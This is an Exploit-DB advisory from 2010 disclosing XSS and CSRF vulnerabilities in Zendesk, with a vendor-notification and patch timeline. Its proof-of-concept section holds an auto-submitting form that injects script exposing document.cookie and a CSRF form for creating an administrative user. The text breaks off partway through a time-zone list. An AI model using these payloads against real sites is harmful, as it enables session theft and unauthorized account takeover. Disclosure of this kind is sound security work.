Exploit-DB #14606
Description: Zendesk - Multiple Vulnerabilities
Type: webapps
Platform: multiple
Date: 2010-08-10
Author: Luis Santana

Exploit:
/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\

:Zendesk Multiple Vulnerabilities : 

\________________________________/

/Discovered By:                  \

|Luis Santana                     |

\________________________________/


Overview

~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~

Luis Santana of the HackTalk Security team has found multiple vulnerabilities in Zendesk.

Product Information

~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~

Product/Script: Zendesk

Affected Version:

Vulnerability Type: Multiple

Security Risk: Multiple

Vendor URL: http://zendesk.com

Product/Script Demo:

Vendor Status: Notified

Patch/Fix Status: Patches Made

Advisory Timeline:  July 31st 9:34am EST - Zendesk Contacted about XSS

                    July 31st 12:42pm EST - Ticket passed to Security Department

                    July 31st 10:46pm EST - Zendesk has started producing patch. Given the go ahead to publicly disclose

                    July 31st 1:00am EST - Found CSRF, continuing investigation

                    August 1st 3:49pm EST - CSRF Patch in production

                    August 4th 3:51am EST - CSRF patch being rolled out

                    August 10th 3:36pm EST - Given the ok to post advisory publicly

Advisory URL: http://hacktalk.net/exploit/exploit.php?n=10

Product Description

~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~

Web-based customer support software with elegant ticket mnagement and a self-service customer community platform. Agile, smart and convenient.

(From http://www.zendesk.com)

Vulnerability Details

~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~

XSS -
The email address field of the anonymous_requests page is vulnerable to XSS due to lack of input sanitation. By crafting a malcious POST request an attacker is able to inject HTML, Javascript or AJAX into the anonymous_requests page.

CSRF -
Due to a lack of input sanitation many forms are vulnerable to CSRF. The most notable example is the new user creation form which allows an attacker to create a new administrative user.

Proof of Concept

~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~

XSS -

<html>

<head></head>

<body>

<form method="POST" action="https://site.com/anonymous_requests"name="explForm">

<input type=hidden name=email value='"><script>alert("I could have just stolen your cookie" + document.cookie);</script>'

</form>

<script language="Javascript">

setTimeout('explForm.submit()', 1000 * 1);

</script>

</body>


CSRF -

<form action="http://site.com/users" class="new_user" enctype="multipart/form-data" id="user-form" method="post" name="userform" onsubmit="return submitUser()">

  <input id="ignore-upload-user" name="ignoreupload" type="hidden" value="0" />

  <h2>Name <span class="sub">Display name used throughout the help desk.</span></h2>

  <input id="user_name" name="user[name]" size="30" type="text" />

  <!--<p>Display name used throughout the help desk.</p>-->

          <h3>

        Email

        <span class="sub">Used when logging in.</span>

      </h3>

      <input id="user_email" name="user[email]" size="30" type="text" />

      <h3>

        Twitter account

      </h3>

      <input id="user_new_twitter_identity" name="user[new_twitter_identity]" size="30" type="text" />

  <h3>Phone number <span class="sub">Optional.</span></h3>

  <input id="user_phone" name="user[phone]" size="30" type="text" />

  <h3>Time zone</h3>

     <select id="user_time_zone" name="user[time_zone]"><option value="International Date Line West">(GMT-11:00) International Date Line West</option>

<option value="Midway Island">(GMT-11:00) Midway Island</option>

<option value="Samoa">(GMT-11:00) Samoa</option>

<option value="Hawaii">(GMT-10:00) Hawaii</option>

<option value="Alaska">(GMT-09:00) Alaska</option>

<option value="Pacific Time (US & Canada)">(GMT-08:00) Pacific Time (US & Canada)</option>

<option value="Tijuana">(GMT-08:00) Tijuana</option>

<option value="Arizona">(GMT-07:00) Arizona</option>

<option value="Chihuahua">(GMT-07:00) Chihuahua</option>

<option value="Mazatlan">(GMT-07:00) Mazatlan</option>

<option value="Mountain Time (US & Canada)">(GMT-07:00) Mountain Time (US & Canada)</option>

<option value="Central America">(GMT-06:00) Central America</option>

<option value="Central Time (US & Canada)">(GMT-06:00) Central Time (US & Canada)</option>

<option value="Guadalajara">(GMT-06:00) Guadalajara</option>

<option value="Mexico City">(GMT-06:00) Mexico City</option>

<option value="Monterrey">(GMT-06:00) Monterrey</option>

<option value="Saskatchewan">(GMT-06:00) Saskatchewan</option>

<option value="Bogota" selected="selected">(GMT-05:00) Bogota</option>

<option value="Eastern Time (US & Canada)">(GMT-05:00) Eastern Time (US & Canada)</option>

<option value="Indiana (East)">(GMT-05:00) Indiana (East)</option>

<option value="Lima">(GMT-05:00) Lima</option>

<option value="Quito">(GMT-05:00) Quito</option>

<option value="Caracas">(GMT-04:30) Caracas</option>

<option value="Atlantic Time (Canada)">(GMT-04:00) Atlantic Time (Canada)</option>

<option value="La Paz">(GMT-04:00) La Paz</option>

<option value="Santiago">(GMT-04:00) Santiago</option>

<option value="Newfoundland">(GMT-03:30) Newfoundland</option>

<option value="Brasilia">(GMT-03:00) Brasilia</option>

<option value="Buenos Aires">(GMT-03:00) Buenos Aires</option>

<option value="Georgetown">(GMT-03:00) Georgetown</option>

<option value="Greenland">(GMT-03:00) Greenland</option>

<option value="Mid-Atlantic">(GMT-02:00) Mid-Atlantic</option>

<option value="Azores">(GMT-01:00) Azores</option>

<option value="Cape Verde Is.">(GMT-01:00) Cape Verde Is.</option>

<option value="Casablanca">(GMT+00:00) Casablanca</option>

<option value="Dublin">(GMT+00:00) Dublin</option>

<option value="Edinburgh">(GMT+00:00) Edinburgh</option>

<option value="Lisbon">(GMT+00:00) Lisbon